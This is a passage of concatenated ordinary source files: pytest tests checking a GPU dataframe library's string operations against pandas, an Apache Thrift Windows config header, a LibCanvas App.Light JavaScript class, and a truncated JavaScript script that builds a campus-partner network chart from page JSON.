= Series(data) assert got.dtype == np.dtype("object") assert len(got) == 5 for idx, val in enumerate(expect): assert expect[idx] == got[idx] def test_string_export(ps_gs): ps, gs = ps_gs expect = ps got = gs.to_pandas() pd.testing.assert_series_equal(expect, got) expect = np.array(ps) got = gs.to_array() np.testing.assert_array_equal(expect, got) expect = pa.Array.from_pandas(ps) got = gs.to_arrow() assert pa.Array.equals(expect, got) @pytest.mark.parametrize( "item", [ 0, 2, 4, slice(1, 3), [1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 1, 2, 3, 4, 4, 3, 2, 1, 0], np.array([0, 1, 2, 3, 4]), rmm.to_device(np.array([0, 1, 2, 3, 4])), ], ) def test_string_get_item(ps_gs, item): ps, gs = ps_gs got = gs[item] if isinstance(got, Series): got = got.to_arrow() if isinstance(item, cuda.devicearray.DeviceNDArray): item = item.copy_to_host() expect = ps.iloc[item] if isinstance(expect, pd.Series): expect = pa.Array.from_pandas(expect) pa.Array.equals(expect, got) else: assert expect == got @pytest.mark.parametrize( "item", [ [True] * 5, [False] * 5, np.array([True] * 5), np.array([False] * 5), rmm.to_device(np.array([True] * 5)), rmm.to_device(np.array([False] * 5)), list(np.random.randint(0, 2, 5).astype("bool")), np.random.randint(0, 2, 5).astype("bool"), rmm.to_device(np.random.randint(0, 2, 5).astype("bool")), ], ) def test_string_bool_mask(ps_gs, item): ps, gs = ps_gs got = gs[item] if isinstance(got, Series): got = got.to_arrow() if isinstance(item, cuda.devicearray.DeviceNDArray): item = item.copy_to_host() expect = ps[item] if isinstance(expect, pd.Series): expect = pa.Array.from_pandas(expect) pa.Array.equals(expect, got) else: assert expect == got @pytest.mark.parametrize("item", [0, slice(1, 3), slice(5)]) def test_string_repr(ps_gs, item): ps, gs = ps_gs got_out = gs[item] expect_out = ps.iloc[item] expect = str(expect_out) got = str(got_out) # if isinstance(expect_out, pd.Series): # expect = expect.replace("object", "str") assert expect == got @pytest.mark.parametrize( "dtype", [ "str", "object", "int8", "int16", "int32", "int64", "float32", "float64", "bool", "datetime64[ms]", ], ) def test_string_astype(dtype): if dtype.startswith("int"): data = ["1", "2", "3", "4", "5"] elif dtype.startswith("float"): data = ["1.0", "2.0", "3.0", "4.0", "5.0"] elif dtype.startswith("bool"): data = ["True", "False", "True", "False", "False"] elif dtype.startswith("datetime64"): data = [ "2019-06-04T00:00:00Z", "2019-06-04T12:12:12Z", "2019-06-03T00:00:00Z", "2019-05-04T00:00:00Z", "2018-06-04T00:00:00Z", ] elif dtype == "str" or dtype == "object": data = ["ab", "cd", "ef", "gh", "ij"] ps = pd.Series(data) gs = Series(data) # Pandas str --> bool typecasting always returns True if there's a string if dtype.startswith("bool"): expect = ps == "True" else: expect = ps.astype(dtype) got = gs.astype(dtype) assert_eq(expect, got) @pytest.mark.parametrize( "dtype", [ "int8", "str", "object", "int16", "int32", "int64", "float32", "float64", "bool", "datetime64[ms]", ], ) def test_string_empty_astype(dtype): data = [] ps = pd.Series(data, dtype="str") gs = Series(data, dtype="str") expect = ps.astype(dtype) got = gs.astype(dtype) assert_eq(expect, got) @pytest.mark.parametrize( "dtype", [ "int8", "int16", "int32", "int64", "float32", "float64", "bool", "datetime64[ms]", ], ) def test_string_numeric_astype(dtype): if dtype.startswith("bool"): data = [1, 0, 1, 0, 1] elif dtype.startswith("int"): data = [1, 2, 3, 4, 5] elif dtype.startswith("float"): data = [1.0, 2.0, 3.0, 4.0, 5.0] elif dtype.startswith("datetime64"): data = [1000000000, 2000000000, 3000000000, 4000000000, 5000000000] if dtype.startswith("datetime64"): ps = pd.Series(data, dtype="datetime64[ns]") gs = Series.from_pandas(ps) else: ps = pd.Series(data, dtype=dtype) gs = Series(data, dtype=dtype) # Pandas datetime64 --> str typecasting returns arbitrary format depending # on the data, so making it consistent unless we choose to match the # behavior if dtype.startswith("datetime64"): expect = ps.dt.strftime("%Y-%m-%dT%H:%M:%SZ") else: expect = ps.astype("str") got = gs.astype("str") assert_eq(expect, got) @pytest.mark.parametrize( "dtype", [ "int8", "int16", "int32", "int64", "float32", "float64", "bool", "datetime64[ms]", ], ) def test_string_empty_numeric_astype(dtype): data = [] if dtype.startswith("datetime64"): ps = pd.Series(data, dtype="datetime64[ns]") else: ps = pd.Series(data, dtype=dtype) gs = Series(data, dtype=dtype) expect = ps.astype("str") got = gs.astype("str") assert_eq(expect, got) def test_string_concat(): data1 = ["a", "b", "c", "d", "e"] data2 = ["f", "g", "h", "i", "j"] ps1 = pd.Series(data1) ps2 = pd.Series(data2) gs1 = Series(data1) gs2 = Series(data2) expect = pd.concat([ps1, ps2]) got = concat([gs1, gs2]) assert_eq(expect, got) @pytest.mark.parametrize("ascending", [True, False]) def test_string_sort(ps_gs, ascending): ps, gs = ps_gs expect = ps.sort_values(ascending=ascending) got = gs.sort_values(ascending=ascending) assert_eq(expect, got) def test_string_len(ps_gs): ps, gs = ps_gs expect = ps.str.len() got = gs.str.len() # Can't handle nulls in Pandas so use PyArrow instead # Pandas will return as a float64 so need to typecast to int32 expect = pa.array(expect, from_pandas=True).cast(pa.int32()) got = got.to_arrow() assert pa.Array.equals(expect, got) @pytest.mark.parametrize( "others", [ None, ["f", "g", "h", "i", "j"], ("f", "g", "h", "i", "j"), pd.Series(["f", "g", "h", "i", "j"]), pd.Index(["f", "g", "h", "i", "j"]), (["f", "g", "h", "i", "j"], ["f", "g", "h", "i", "j"]), [["f", "g", "h", "i", "j"], ["f", "g", "h", "i", "j"]], ( pd.Series(["f", "g", "h", "i", "j"]), ["f", "a", "b", "f", "a"], pd.Series(["f", "g", "h", "i", "j"]), ["f", "a", "b", "f", "a"], ["f", "a", "b", "f", "a"], pd.Index(["1", "2", "3", "4", "5"]), ["f", "a", "b", "f", "a"], pd.Index(["f", "g", "h", "i", "j"]), ), [ pd.Index(["f", "g", "h", "i", "j"]), ["f", "a", "b", "f", "a"], pd.Series(["f", "g", "h", "i", "j"]), ["f", "a", "b", "f", "a"], ["f", "a", "b", "f", "a"], pd.Index(["f", "g", "h", "i", "j"]), ["f", "a", "b", "f", "a"], pd.Index(["f", "g", "h", "i", "j"]), ], ], ) @pytest.mark.parametrize("sep", [None, "", " ", "|", ",", "|||"]) @pytest.mark.parametrize("na_rep", [None, "", "null", "a"]) @pytest.mark.parametrize( "index", [ ["1", "2", "3", "4", "5"], pd.Series(["1", "2", "3", "4", "5"]), pd.Index(["1", "2", "3", "4", "5"]), ], ) def test_string_cat(ps_gs, others, sep, na_rep, index): ps, gs = ps_gs pd_others = others if isinstance(pd_others, pd.Series): pd_others = pd_others.values expect = ps.str.cat(others=pd_others, sep=sep, na_rep=na_rep) got = gs.str.cat(others=others, sep=sep, na_rep=na_rep) assert_eq(expect, got) ps.index = index gs.index = index expect = ps.str.cat(others=ps.index, sep=sep, na_rep=na_rep) got = gs.str.cat(others=gs.index, sep=sep, na_rep=na_rep) assert_eq(expect, got) expect = ps.str.cat(others=[ps.index] + [ps.index], sep=sep, na_rep=na_rep) got = gs.str.cat(others=[gs.index] + [gs.index], sep=sep, na_rep=na_rep) assert_eq(expect, got) expect = ps.str.cat(others=(ps.index, ps.index), sep=sep, na_rep=na_rep) got = gs.str.cat(others=(gs.index, gs.index), sep=sep, na_rep=na_rep) assert_eq(expect, got) @pytest.mark.xfail(raises=(NotImplementedError, AttributeError)) @pytest.mark.parametrize("sep", [None, "", " ", "|", ",", "|||"]) def test_string_join(ps_gs, sep): ps, gs = ps_gs expect = ps.str.join(sep) got = gs.str.join(sep) assert_eq(expect, got) @pytest.mark.parametrize("pat", [r"(a)", r"(f)", r"([a-z])", r"([A-Z])"]) @pytest.mark.parametrize("expand", [True, False]) @pytest.mark.parametrize("flags,flags_raise", [(0, 0), (1, 1)]) def test_string_extract(ps_gs, pat, expand, flags, flags_raise): ps, gs = ps_gs expectation = raise_builder([flags_raise], NotImplementedError) with expectation: expect = ps.str.extract(pat, flags=flags, expand=expand) got = gs.str.extract(pat, flags=flags, expand=expand) assert_eq(expect, got) @pytest.mark.parametrize( "pat,regex", [("a", False), ("f", False), (r"[a-z]", True), (r"[A-Z]", True)], ) @pytest.mark.parametrize("case,case_raise", [(True, 0), (False, 1)]) @pytest.mark.parametrize("flags,flags_raise", [(0, 0), (1, 1)]) @pytest.mark.parametrize("na,na_raise", [(np.nan, 0), (None, 1), ("", 1)]) def test_string_contains( ps_gs, pat, regex, case, case_raise, flags, flags_raise, na, na_raise ): ps, gs = ps_gs expectation = raise_builder( [case_raise, flags_raise, na_raise], NotImplementedError ) with expectation: expect = ps.str.contains( pat, case=case, flags=flags, na=na, regex=regex ) got = gs.str.contains(pat, case=case, flags=flags, na=na, regex=regex) expect = pa.array(expect, from_pandas=True).cast(pa.bool_()) got = got.to_arrow() assert pa.Array.equals(expect, got) # Pandas isn't respect the `n` parameter so ignoring it in test parameters @pytest.mark.parametrize( "pat,regex", [("a", False), ("f", False), (r"[a-z]", True), (r"[A-Z]", True)], ) @pytest.mark.parametrize("repl", ["qwerty", "", " "]) @pytest.mark.parametrize("case,case_raise", [(None, 0), (True, 1), (False, 1)]) @pytest.mark.parametrize("flags,flags_raise", [(0, 0), (1, 1)]) def test_string_replace( ps_gs, pat, repl, case, case_raise, flags, flags_raise, regex ): ps, gs = ps_gs expectation = raise_builder([case_raise, flags_raise], NotImplementedError) with expectation: expect = ps.str.replace(pat, repl, case=case, flags=flags, regex=regex) got = gs.str.replace(pat, repl, case=case, flags=flags, regex=regex) assert_eq(expect, got) def test_string_lower(ps_gs): ps, gs = ps_gs expect = ps.str.lower() got = gs.str.lower() assert_eq(expect, got) def test_string_upper(ps_gs): ps, gs = ps_gs expect = ps.str.upper() got = gs.str.upper() assert_eq(expect, got) @pytest.mark.parametrize( "data", [ ["a b", " c ", " d", "e ", "f"], ["a-b", "-c-", "---d", "e---", "f"], ["ab", "c", "d", "e", "f"], [None, None, None, None, None], ], ) @pytest.mark.parametrize("pat", [None, " ", "-"]) @pytest.mark.parametrize("n", [-1, 0, 1, 3, 10]) @pytest.mark.parametrize("expand,expand_raise", [(True, 0), (False, 1)]) def test_string_split(data, pat, n, expand, expand_raise): if data in (["a b", " c ", " d", "e ", "f"],) and pat is None: pytest.xfail("None pattern split algorithm not implemented yet") ps = pd.Series(data, dtype="str") gs = Series(data, dtype="str") expectation = raise_builder([expand_raise], NotImplementedError) with expectation: expect = ps.str.split(pat=pat, n=n, expand=expand) got = gs.str.split(pat=pat, n=n, expand=expand) assert_eq(expect, got) @pytest.mark.parametrize( "str_data,str_data_raise", [ ([], 0), (["a", "b", "c", "d", "e"], 0), ([None, None, None, None, None], 1), ], ) @pytest.mark.parametrize("num_keys", [1, 2, 3]) @pytest.mark.parametrize( "how,how_raise", [("left", 0), ("right", 1), ("inner", 0), ("outer", 0)] ) def test_string_join_key(str_data, str_data_raise, num_keys, how, how_raise): other_data = [1, 2, 3, 4, 5][: len(str_data)] pdf = pd.DataFrame() gdf = DataFrame() for i in range(num_keys): pdf[i] = pd.Series(str_data, dtype="str") gdf[i] = Series(str_data, dtype="str") pdf["a"] = other_data gdf["a"] = other_data pdf2 = pdf.copy() gdf2 = gdf.copy() expectation = raise_builder( [how_raise, str_data_raise], (NotImplementedError, AssertionError) ) with expectation: expect = pdf.merge(pdf2, on=list(range(num_keys)), how=how) got = gdf.merge(gdf2, on=list(range(num_keys)), how=how) if len(expect) == 0 and len(got) == 0: expect = expect.reset_index(drop=True) got = got[expect.columns] assert_eq(expect, got) @pytest.mark.parametrize( "str_data_nulls", [ ["a", "b", "c"], ["a", "b", "f", "g"], ["f", "g", "h", "i", "j"], ["f", "g", "h"], [None, None, None, None, None], [], ], ) def test_string_join_key_nulls(str_data_nulls): str_data = ["a", "b", "c", "d", "e"] other_data = [1, 2, 3, 4, 5] other_data_nulls = [6, 7, 8, 9, 10][: len(str_data_nulls)] pdf = pd.DataFrame() gdf = DataFrame() pdf["key"] = pd.Series(str_data, dtype="str") gdf["key"] = Series(str_data, dtype="str") pdf["vals"] = other_data gdf["vals"] = other_data pdf2 = pd.DataFrame() gdf2 = DataFrame() pdf2["key"] = pd.Series(str_data_nulls, dtype="str") gdf2["key"] = Series(str_data_nulls, dtype="str") pdf2["vals"] = pd.Series(other_data_nulls, dtype="int64") gdf2["vals"] = Series(other_data_nulls, dtype="int64") expect = pdf.merge(pdf2, on="key", how="left") got = gdf.merge(gdf2, on="key", how="left") if len(expect) == 0 and len(got) == 0: expect = expect.reset_index(drop=True) got = got[expect.columns] expect["vals_y"] = expect["vals_y"].fillna(-1).astype("int64") assert_eq(expect, got) @pytest.mark.parametrize( "str_data", [[], ["a", "b", "c", "d", "e"], [None, None, None, None, None]] ) @pytest.mark.parametrize("num_cols", [1, 2, 3]) @pytest.mark.parametrize( "how,how_raise", [("left", 0), ("right", 1), ("inner", 0), ("outer", 0)] ) def test_string_join_non_key(str_data, num_cols, how, how_raise): other_data = [1, 2, 3, 4, 5][: len(str_data)] pdf = pd.DataFrame() gdf = DataFrame() for i in range(num_cols): pdf[i] = pd.Series(str_data, dtype="str") gdf[i] = Series(str_data, dtype="str") pdf["a"] = other_data gdf["a"] = other_data pdf2 = pdf.copy() gdf2 = gdf.copy() expectation = raise_builder([how_raise], NotImplementedError) with expectation: expect = pdf.merge(pdf2, on=["a"], how=how) got = gdf.merge(gdf2, on=["a"], how=how) if len(expect) == 0 and len(got) == 0: expect = expect.reset_index(drop=True) got = got[expect.columns] assert_eq(expect, got) @pytest.mark.parametrize( "str_data_nulls", [ ["a", "b", "c"], ["a", "b", "f", "g"], ["f", "g", "h", "i", "j"], ["f", "g", "h"], [None, None, None, None, None], [], ], ) def test_string_join_non_key_nulls(str_data_nulls): str_data = ["a", "b", "c", "d", "e"] other_data = [1, 2, 3, 4, 5] other_data_nulls = [6, 7, 8, 9, 10][: len(str_data_nulls)] pdf = pd.DataFrame() gdf = DataFrame() pdf["vals"] = pd.Series(str_data, dtype="str") gdf["vals"] = Series(str_data, dtype="str") pdf["key"] = other_data gdf["key"] = other_data pdf2 = pd.DataFrame() gdf2 = DataFrame() pdf2["vals"] = pd.Series(str_data_nulls, dtype="str") gdf2["vals"] = Series(str_data_nulls, dtype="str") pdf2["key"] = pd.Series(other_data_nulls, dtype="int64") gdf2["key"] = Series(other_data_nulls, dtype="int64") expect = pdf.merge(pdf2, on="key", how="left") got = gdf.merge(gdf2, on="key", how="left") if len(expect) == 0 and len(got) == 0: expect = expect.reset_index(drop=True) got = got[expect.columns] assert_eq(expect, got) def test_string_join_values_nulls(): left_dict = [ {"b": "MATCH 1", "a": 1.0}, {"b": "MATCH 1", "a": 1.0}, {"b": "LEFT NO MATCH 1", "a": -1.0}, {"b": "MATCH 2", "a": 2.0}, {"b": "MATCH 2", "a": 2.0}, {"b": "MATCH 1", "a": 1.0}, {"b": "MATCH 1", "a": 1.0}, {"b": "MATCH 2", "a": 2.0}, {"b": "MATCH 2", "a": 2.0}, {"b": "LEFT NO MATCH 2", "a": -2.0}, {"b": "MATCH 3", "a": 3.0}, {"b": "MATCH 3", "a": 3.0}, ] right_dict = [ {"b": "RIGHT NO MATCH 1", "c": -1.0}, {"b": "MATCH 3", "c": 3.0}, {"b": "MATCH 2", "c": 2.0}, {"b": "RIGHT NO MATCH 2", "c": -2.0}, {"b": "RIGHT NO MATCH 3", "c": -3.0}, {"b": "MATCH 1", "c": 1.0}, ] left_pdf = pd.DataFrame(left_dict) right_pdf = pd.DataFrame(right_dict) left_gdf = DataFrame.from_pandas(left_pdf) right_gdf = DataFrame.from_pandas(right_pdf) expect = left_pdf.merge(right_pdf, how="left", on="b") got = left_gdf.merge(right_gdf, how="left", on="b") expect = expect.sort_values(by=["a", "b", "c"]).reset_index(drop=True) got = got.sort_values(by=["a", "b", "c"]).reset_index(drop=True) assert_eq(expect, got) @pytest.mark.parametrize( "str_data", [[], ["a", "b", "c", "d", "e"], [None, None, None, None, None]] ) @pytest.mark.parametrize("num_keys", [1, 2, 3]) def test_string_groupby_key(str_data, num_keys): other_data = [1, 2, 3, 4, 5][: len(str_data)] pdf = pd.DataFrame() gdf = DataFrame() for i in range(num_keys): pdf[i] = pd.Series(str_data, dtype="str") gdf[i] = Series(str_data, dtype="str") pdf["a"] = other_data gdf["a"] = other_data expect = pdf.groupby(list(range(num_keys)), as_index=False).count() got = gdf.groupby(list(range(num_keys)), as_index=False).count() expect = expect.sort_values([0]).reset_index(drop=True) got = got.sort_values([0]).reset_index(drop=True) assert_eq(expect, got, check_dtype=False) @pytest.mark.parametrize( "str_data", [[], ["a", "b", "c", "d", "e"], [None, None, None, None, None]] ) @pytest.mark.parametrize("num_cols", [1, 2, 3]) def test_string_groupby_non_key(str_data, num_cols): other_data = [1, 2, 3, 4, 5][: len(str_data)] pdf = pd.DataFrame() gdf = DataFrame() for i in range(num_cols): pdf[i] = pd.Series(str_data, dtype="str") gdf[i] = Series(str_data, dtype="str") pdf["a"] = other_data gdf["a"] = other_data expect = pdf.groupby("a", as_index=False).count() got = gdf.groupby("a", as_index=False).count() expect = expect.sort_values(["a"]).reset_index(drop=True) got = got.sort_values(["a"]).reset_index(drop=True) assert_eq(expect, got, check_dtype=False) expect = pdf.groupby("a", as_index=False).max() got = gdf.groupby("a", as_index=False).max() expect = expect.sort_values(["a"]).reset_index(drop=True) got = got.sort_values(["a"]).reset_index(drop=True) if len(expect) == 0 and len(got) == 0: for i in range(num_cols): expect[i] = expect[i].astype("str") assert_eq(expect, got, check_dtype=False) expect = pdf.groupby("a", as_index=False).min() got = gdf.groupby("a", as_index=False).min() expect = expect.sort_values(["a"]).reset_index(drop=True) got = got.sort_values(["a"]).reset_index(drop=True) if len(expect) == 0 and len(got) == 0: for i in range(num_cols): expect[i] = expect[i].astype("str") assert_eq(expect, got, check_dtype=False) def test_string_groupby_key_index(): str_data = ["a", "b", "c", "d", "e"] other_data = [1, 2, 3, 4, 5] pdf = pd.DataFrame() gdf = DataFrame() pdf["a"] = pd.Series(str_data, dtype="str") gdf["a"] = Series(str_data, dtype="str") pdf["b"] = other_data gdf["b"] = other_data expect = pdf.groupby("a").count() got = gdf.groupby("a").count() assert_eq(expect, got, check_dtype=False) @pytest.mark.parametrize("scalar", ["a", None]) def test_string_set_scalar(scalar): pdf = pd.DataFrame() pdf["a"] = [1, 2, 3, 4, 5] gdf = DataFrame.from_pandas(pdf) pdf["b"] = "a" gdf["b"] = "a" assert_eq(pdf["b"], gdf["b"]) assert_eq(pdf, gdf) def test_string_index(): pdf = pd.DataFrame(np.random.rand(5, 5)) gdf = DataFrame.from_pandas(pdf) stringIndex = ["a", "b", "c", "d", "e"] pdf.index = stringIndex gdf.index = stringIndex assert_eq(pdf, gdf) stringIndex = np.array(["a", "b", "c", "d", "e"]) pdf.index = stringIndex gdf.index = stringIndex assert_eq(pdf, gdf) stringIndex = StringIndex(["a", "b", "c", "d", "e"], name="name") pdf.index = stringIndex gdf.index = stringIndex assert_eq(pdf, gdf) stringIndex = StringColumn(["a", "b", "c", "d", "e"], name="name") pdf.index = stringIndex gdf.index = stringIndex assert_eq(pdf, gdf) @pytest.mark.parametrize( "item", [ ["Cbe", "cbe", "CbeD", "Cb", "ghi", "Cb"], ["a", "a", "a", "a", "A"], ["A"], ["abc", "xyz", None, "ab", "123"], [None, None, "abc", None, "abc"], ], ) def test_string_unique(item): ps = pd.Series(item) gs = Series(item) # Pandas `unique` returns a numpy array pres = pd.Series(ps.unique()) # Nvstrings returns sorted unique with `None` placed before other strings pres = pres.sort_values(na_position="first").reset_index(drop=True) gres = gs.unique() assert_eq(pres, gres) def test_string_slice(): df = DataFrame({"a": ["hello", "world"]}) pdf = pd.DataFrame({"a": ["hello", "world"]}) a_slice_got = df.a.str.slice(0, 2) a_slice_expected = pdf.a.str.slice(0, 2) assert isinstance(a_slice_got, Series) assert_eq(a_slice_expected, a_slice_got) def test_string_equality(): data1 = ["b", "c", "d", "a", "c"] data2 = ["a", None, "c", "a", "c"] ps1 = pd.Series(data1) ps2 = pd.Series(data2) gs1 = Series(data1) gs2 = Series(data2) expect = ps1 == ps2 got = gs1 == gs2 assert_eq(expect, got.fillna(False)) @pytest.mark.parametrize( "lhs", [ ["Cbe", "cbe", "CbeD", "Cb", "ghi", "Cb"], ["abc", "xyz", "a", "ab", "123", "097"], ], ) @pytest.mark.parametrize( "rhs", [ ["Cbe", "cbe", "CbeD", "Cb", "ghi", "Cb"], ["a", "a", "a", "a", "A", "z"], ], ) def test_string_binary_op_add(lhs, rhs): pds = pd.Series(lhs) + pd.Series(rhs) gds = Series(lhs) + Series(rhs) assert_eq(pds, gds) @pytest.mark.parametrize("name", [None, "new name", 123]) def test_string_misc_name(ps_gs, name): ps, gs = ps_gs ps.name = name gs.name = name expect = ps.str.slice(0, 1) got = gs.str.slice(0, 1) assert_eq(expect, got) assert_eq(ps + ps, gs + gs) assert_eq(ps + "RAPIDS", gs + "RAPIDS") assert_eq("RAPIDS" + ps, "RAPIDS" + gs)
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #ifndef _THRIFT_WINDOWS_CONFIG_H_ #define _THRIFT_WINDOWS_CONFIG_H_ 1 #if defined(_MSC_VER) && (_MSC_VER > 1200) #pragma once #endif // _MSC_VER #ifndef _WIN32 #error This is a MSVC header only. #endif #pragma warning(disable: 4996) // Depreciated posix name. #pragma warning(disable: 4250) // Inherits via dominance. #define VERSION "0.8.0" #define HAVE_GETTIMEOFDAY 1 #define HAVE_SYS_STAT_H 1 #include "TargetVersion.h" #include "GetTimeOfDay.h" #include "Operators.h" #include "TWinsockSingleton.h" #include "WinFcntl.h" #include "SocketPair.h" // boost #include <boost/cstdint.hpp> typedef boost::int64_t int64_t; typedef boost::uint32_t uint32_t; typedef boost::uint8_t uint8_t; // windows #include <Winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") // pthreads #if 0 # include <pthread.h> #else #ifndef _WINDOWS struct timespec { int64_t tv_sec; int64_t tv_nsec; }; #endif # define USE_BOOST_THREAD 1 #endif typedef ptrdiff_t ssize_t; // Missing functions. #define thrift_usleep(ms) Sleep(ms) #define thrift_ctime_r( _clock, _buf ) \ ( strcpy( (_buf), ctime( (_clock) ) ), \ (_buf) ) #if WINVER <= 0x0502 #define poll(fds, nfds, timeout) \ poll_win32(fds, nfds, timeout) inline int poll_win32(LPWSAPOLLFD fdArray, ULONG fds, INT timeout) { fd_set read_fds; fd_set write_fds; fd_set except_fds; FD_ZERO(&read_fds); FD_ZERO(&write_fds); FD_ZERO(&except_fds); FD_SET(fdArray[0].fd, &read_fds); FD_SET(fdArray[0].fd, &write_fds); FD_SET(fdArray[0].fd, &except_fds); timeval time_out = {timeout * 0.001, timeout * 1000}; return select(1, &read_fds, &write_fds, &except_fds, &time_out); } #else inline int poll(struct pollfd* fdArray, ULONG fds, INT timeout) { return WSAPoll(fdArray, fds, timeout); } #endif // WINVER inline void close(SOCKET socket) { ::closesocket(socket); } #endif // _THRIFT_WINDOWS_CONFIG_H_
/* --- name: "App.Light" description: "LibCanvas.App.Light" license: - "[GNU Lesser General Public License](http://opensource.org/licenses/lgpl-license.php)" - "[MIT License](http://opensource.org/licenses/mit-license.php)" authors: - "Shock <shocksilien@gmail.com>" requires: - LibCanvas - App provides: App.Light ... */ /** @class App.Light */ declare( 'LibCanvas.App.Light', { initialize: function (size, settings) { var mouse, mouseHandler; this.settings = new Settings({ size : Size.from(size), name : 'main', mouse : true, invoke : false, simple : true, appendTo: 'body', intersection: 'auto' }).set(settings || {}); this.app = new App( this.settings.subset(['size', 'appendTo', 'simple']) ); this.layer = this.app.createLayer(this.settings.subset(['name','invoke','intersection'])); if (this.settings.get('mouse') === true) { mouse = new Mouse(this.app.container.bounds); mouseHandler = new App.MouseHandler({ mouse: mouse, app: this.app }); this.app.resources.set({ mouse: mouse, mouseHandler: mouseHandler }); } }, createVector: function (shape, settings) { settings = atom.core.append({ shape:shape }, settings || {}); return new App.Light.Vector(this.layer, settings); }, createText: function (shape, style, settings) { settings = atom.core.append({ shape: shape, style: style }, settings); return new App.Light.Text(this.layer, settings); }, createImage: function (shape, image, settings) { return new App.Light.Image(this.layer, atom.core.append({ shape: shape, image: image }, settings)); }, get mouse () { return this.app.resources.get( 'mouse' ); }, get mouseHandler () { return this.app.resources.get( 'mouseHandler' ); } });
// //*********************************** Get data from HTML Network Chart ***************************************************** var Missionarea = JSON.parse(document.getElementById('missionlist').textContent); var Collegenames = JSON.parse(document.getElementById('Collegenames').textContent); // console.log("campus partner chart data ",Collegenames) // campus_partner_json,community_partner_json,mission_subcategories_json,projects_json var campus_partner_json = JSON.parse(document.getElementById('campus_partner_json').textContent); // console.log("PARTNERS",campus_partner_json); var community_partner_json = JSON.parse(document.getElementById('community_partner_json').textContent); var mission_subcategories_json = JSON.parse(document.getElementById('mission_subcategories_json').textContent); var projects_json = JSON.parse(document.getElementById('projects_json').textContent); console.log(Collegenames) var max_year = JSON.parse(document.getElementById('max_year').textContent); var max_yr_id = JSON.parse(document.getElementById('max_yr_id').textContent); // alert(max_yr_id); const colorCodeObject = { [Missionarea[0]]: "#01B8AA", [Missionarea[1]]: "#374649", [Missionarea[2]]: "#FD625E", [Missionarea[3]]: "#8AD4EB", [Missionarea[4]]: "#FE9666", [Missionarea[5]]: "#A66999", [Missionarea[6]]: "#3599B8", [Missionarea[7]]: "#DFBFBF", [Missionarea[8]]: "#1743f3" } // alert(Missionarea0]); function getUrlVars() { var vars = {}; var parts = window.location.href.replace(/[?&]+([^=&]+)=([^&]*)/gi, function(m,key,value) { vars[key] = value; }); return vars; } var academic_year = getUrlVars()["academic_year"]; var engagement_type = getUrlVars()["engagement_type"]; var comm_type = getUrlVars()["community_type"]; var college_name = getUrlVars()["college_name"]; var campus_partner = getUrlVars()["campus_partner"]; var mission = getUrlVars()["mission"]; var weitz_cec_part = getUrlVars()["weitz_cec_part"]; var k12_flag = getUrlVars()["k12_flag"]; // console.log(" url values ",college_name) var not_set = [undefined, "All", '']; if (k12_flag==="No"){ k12_flag="false" } if (k12_flag==="Yes"){ k12_flag="true" } if (weitz_cec_part==="Yes"){ weitz_cec_part="true" } if (weitz_cec_part==="No"){ weitz_cec_part="false" } if (not_set.includes(academic_year)) { // alert(academic_year) var projects_json = projects_json.filter(d => d.years.includes(max_yr_id)); // console.log("filtered academic_year", projects_json) } if (!not_set.includes(academic_year)) { // alert(academic_year) var projects_json = projects_json.filter(d => d.years.includes(parseInt(academic_year))); // console.log("filtered academic_year"+ projects_json) } if (!not_set.includes(engagement_type)) { // console.log(" projects"+ engagement_type) var projects_json = projects_json.filter(d => d.engagement_type.engagement_type_id==engagement_type); } if (not_set.includes(engagement_type)) { // console.log(" projects"+ engagement_type) var projects_json = projects_json.filter(d => d.engagement_type.engagement_type_name=='Knowledge and Resource Sharing'); } if (!not_set.includes(comm_type)) { var community_partner_json = community_partner_json.filter(d => d.community_type.community_type_id == (comm_type)); // console.log("filtered comm_type", community_partner_json) } if (not_set.includes(comm_type)) { var community_partner_json = community_partner_json.filter(d => d.community_type.community_type_name =='Nonprofit'); } if (!not_set.includes(college_name)) { var Collegenames = Collegenames.filter(d => d.id ==parseInt(college_name)); // console.log("filtered college_name", Collegenames) } if (!not_set.includes(campus_partner)) { var campus_partner_json = campus_partner_json.filter(d => d.campus_partner_id == parseInt(campus_partner)); // console.log("filtered campus_partner",campus_partner_json) } if (!not_set.includes(mission)) { var projects_json = projects_json.filter(d => d.primary_mission_area.mission_id == parseInt(mission)); // console.log("filtered mission areas", projects_json) } // need to add weitzpart status in json if (!not_set.includes(weitz_cec_part)) { var community_partner_json = community_partner_json.filter(d => d.weitz_cec_part == weitz_cec_part); // console.log("filtered weitz_cec_part"+ community_partner_json) } if (!not_set.includes(k12_flag)) { // alert("k12 falg"+k12_flag) var projects_json = projects_json.filter(d => d.k12_flag == "false"); // console.log("filtered k12 flag option", projects_json) } // console.log("naresh ",projects_json) var chart_data = [] var nodedata=[] // // var camppartnrprojects=projects_json.filter(d => d.campus_partner_ids.includes(29)); // var x=camppartnrprojects.length // // console.log("campus naresh",camppartnrprojects,x); for (coll in Collegenames) { // console.log("college",Collegenames[coll].cname); var college = Collegenames[coll].cname var camppartners = campus_partner_json.filter(d => d.college.college_name.includes(college)) // console.log("campus partners",camppartners) camppartners.forEach(function (feature) { var campid = feature["campus_partner_id"] if (camppartners !== 0) { var camp = feature["campus_partner_name"] // var cp={"from":Collegenames[coll].cname,"to":feature["campus_partner_name"]} res2 = {'from': college, 'to': camp} chart_data.push(res2) node = {'id': college, 'color': 'red', 'marker': {'symbol': 'triangle'}} node2 = {'id': camp, 'color': 'black', 'marker': {'symbol': 'triangle'}} nodedata.push(node) nodedata.push(node2) // console.log("campuspartner ",camp) var camppartnrprojects = projects_json.filter(d => d.campus_partner_ids.includes(campid)); var x = Object.keys(camppartnrprojects) console.log(" naresh ---------",camppartnrprojects,) // console.log("campus campuspartnerprojects",camppartnrprojects.length,campid,); camppartnrprojects.forEach(function (feature1) { // console.log("community_partner_ids",comm) if (camppartnrprojects != 0) { var commps = new Set() community_partner_json.forEach(function (feature2) { var comm = feature2.community_partner_name // console.log("comm",comm) if (feature1.community_partner_ids.includes(feature2.community_partner_id)) { commps.add(comm) } }) // console.log("community partner set",commps) 